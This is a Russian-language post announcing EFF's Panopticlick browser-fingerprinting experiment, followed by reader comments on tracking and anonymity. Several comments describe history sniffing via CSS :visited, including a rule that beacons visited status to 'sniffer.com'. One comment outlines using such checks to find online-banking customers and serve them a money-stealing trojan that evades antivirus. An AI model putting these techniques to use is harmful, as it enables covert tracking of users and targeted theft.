Какие отпечатки оставляет за собой ваш браузер, пока вы серфите по сети?
Обычно, люди полагают, что они могут предотвратить возможность слежки за ними веб-сайтами, отключив cookies в их веб-браузере. К сожалению, это не вся история.
Когда вы посещаете веб-сайт, вы позволяете этому сайту получить доступ ко множеству информации о конфигурации вашего компьютера. Комбинируя эту информацию, можно создать некий отпечаток — подпись, которая могла бы использоваться, чтобы идентифицировать вас и ваш компьютер. Но насколько эффективным может быть данный способ онлайн-слежки?
EFF запускает эксперимент чтобы выяснить это. Наш новый проект
Panopticlick будет анонимно собирать информацию о типе конфигурации и версии вашей операционной системы, вашем браузере и ваших плагинах и сопоставлять это с нашей базой данных, в которой хранится 5 миллионов других конфигураций. Затем он выдаст вам оценку уникальности, позволяя увидеть насколько легко вы можете быть опознаны в то время, когда вы находитесь в сети.
Добавление информации в нашу базу данных, поможет EFF оценить способности интернет-слежки и возможности компаний, занимающихся интернет-рекламой, которые уже используют
подобные техники для записи деятельности людей в сети. Они разрабатывают эти методы втайне и не всегда говорят миру о том, что они нашли. Но этот эксперимент даст нам большее понимание о риске для приватности из-за отпечатков браузеров и поможет пользователям защитить самих себя.
Присоединиться к эксперименту:
http://panopticlick.eff.org/
Узнать больше о теории, которая за этим стоит:
http://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy
комментарии (79)
— Что будете?
— Я… а вы за мной не следите?
— Нет. С чего бы, у меня тут тысячи людей каждый день бывают!
— Я знаю, если сделаю заказ — вы запишите его в базу и передадите ЦРУ, они выследят меня где бы я не заказывал себе кофе… черт, я сказал кофе! я хотел сказать «мужские стринги»!
*встал, убежал, зановес*
Передаются данные о плагинах браузера и об установленных шрифтах. Вот уверен я, что для генерации HTML/CSS это не нужно.
Сразу вспомнилось startpanic.com/. Лелей свою паранойю, %юзернейм%!
Вкраце получается так: берётся список сайтов, загружаются в невидимый iframe и проверяются на предмет наличия посещённых ссылок :visited
При достаточно большой базе можно составить неплохой отпечаток пользователя.
а да забыл. и еще надо выключить потенциально опасные дополнения. JS / Cookies / Flash ))))
А может все было не так?
Диалог в кафе:
— Я Вас сфотографировал, взял образец Ваших отпечатков пальцев, позже мы возьмем образец ДНК с посуды!
— ?!
— За тем я Вам дам карту клиента, проход с которой через рамку на входе позволит нам Вас узнать.
— Эээ…
— Что будете?
— Я… а вы за мной не следите?
— Нет. С чего бы, у меня тут тысячи людей каждый день бывают!
*встал, убежал, зановес*
Используйте прокси, и никто не будет вас искать.
А вообще все это напоминает анекдот про «неуловимого Джо», который никому не нужен.
К слову, на этом сервисе, идентифицировало только браузер и ос, взятую из строки User-Agent.
js правда частенько нужен
и flash для youtube
Вот бы сделать исколючения по js flash cookies для нескольких сайтов а для всех остальных автоматом запрещать
Учтите, что без кук не получится залогиниться на сайте и не будет сохраняться корзина в интернет-магазинах.
Все сделанные изменения можно просмотреть в настройках: Preferences — вкладка Advanced — Content — Manage site preferences
И все ваши предпочтения сразу улетят злоумышленникам. И в аську вам будет идти спам уже с указанием вашего имени, любимого вида спорта и девичьей фамилией матери. Это с выключенным-то юзерагентом и реферером.
И вас найдут, потому что таких параноиков немного
Как страшно становится жить.
Opera
Firefox (1 или 2)
Chrome
При этом он отсылал все посещенные url.
Как в новых версиях сделано — не знаю.
Нужно генерировать рандомные юзерагенты, хранить рефереры, делать реалистичные паузы, сохранять порядок загрузки изображений и CSS эмулируемого браузера, проводить траффик через пяток прокси (поскольку каждый прокси передаёт серверу X-Forwarded-For), желательно через SSL-нутый SOCKS, скрывать истинную латентность соединения, думать об узлах сети на роуте вашего соединения, а также подменять данные джаваскриптам.
Это настолько сложная задача, что неважно, специалист ИБ ты или программист. Интернет не анонимен и не может быть таковым, каждый должен это знать.
Вот если бы все сайты слаженно работали по такому принципу: на каком-то из них пользователь деанонимизировался, этот сайт передал эту информацию вместе с «отпечатком» в общую базу данных, и потом все остальные сайты из этой базы восстанавливали бы по отпечатку личность. Тогда да, и то с некоторой вероятностью. А так — ну и что с того, что определят у меня win 7 + firefox 3.6? Сайт меня «узнает», если я через некоторое время вернусь без cookies?
Люди сидят и упоенно и самоотверженно составляют на себя полнейшие досье в социалках (про гугл и говорить нечего), а эти тут высасывают из пальца.
Очевидно, ощущает злой умысел!
2) Есть алгоритмы, которые умеют распознавать людей по характеристиками долбления по клавиатуре. Наверняка что-то подобное и для мыши можно придумать.
Использую эти два метода в совокупности с общеизвестными статическими данными посетителей, получаем очень высокую уникальность каждого. И никакие эксперименты проводить не надо.
if (jQuery("a#theLink:visited").length) {
//anchor tag with id of "theLink" has been visited
}
и… о чудо!
Фиксировать всё равно чем-то нужно. Одним CSS не обойтись
a1:visited div {background:url('sniffer.com/?has=1');}
Жаль, большинство хабраюзеров не поймут, насколько это было красиво =)
<a id=«a1» href=«target.com»><div></div></a>
Например, проверить, является ли «клиент» пользователем одного из 50-100 интернет-банков. И только если является, засаживать ему flash ролик с трояном, который сопрет деньги с данных интернет банков.
Ни один антивирус при сканировании по url не найдет наш троян и на тестовых машинах, которые используются для отлова новых троянов, вряд ли будет сайт интернет-банкинга в «посещенных»
Потом, проверку ссылок можно делать дозированно, чтобы сильно не загружался процессор. Тогда можно много перебрать.
И вот как раз для показа рекламы проверку ссылок разбить на шаги к сожалению и не получится.
IE7 под WinXP — Your browser fingerprint appears to be unique among the 180,709 tested so far
Chrome 4 под Debian — Your browser fingerprint appears to be unique among the 180,351 tested so far
Shiretoko 3.5 под Arch Linux — Your browser fingerprint appears to be unique among the 180,662 tested so far
Opera Mobile 10 Beta под WM 6.1 — Your browser fingerprint appears to be unique among the 180,993 tested so far
Не думал, что IE7 под win будет уникальней Chrome под nix…
186,561 через пять секунд прошел опять, уже 186,573 tested
paranoik.eff.org/
Your browser fingerprint appears to be unique among the 183,230 tested so far.
Firefox/7.3 выдаёт меня с головой :(
Но можно и через css пытаться перебрать самые популярные. Для определения ОС точно хватит.
К недостаткам метода — относятся машины-клоны, которые «раскатываются» из одного образа. У них отпечаток будет очень похожим (за исключением цепочки IP).
А также, полагаю, быстрая изменяемость некоторых ключевых параметров (плагинов браузера и шрифтов).
В результате точность опознавания упадёт на порядки.
Что значит at least 17.53 bits?
Алсо, порадовала страничка о том, как стать тру-анонимусом =)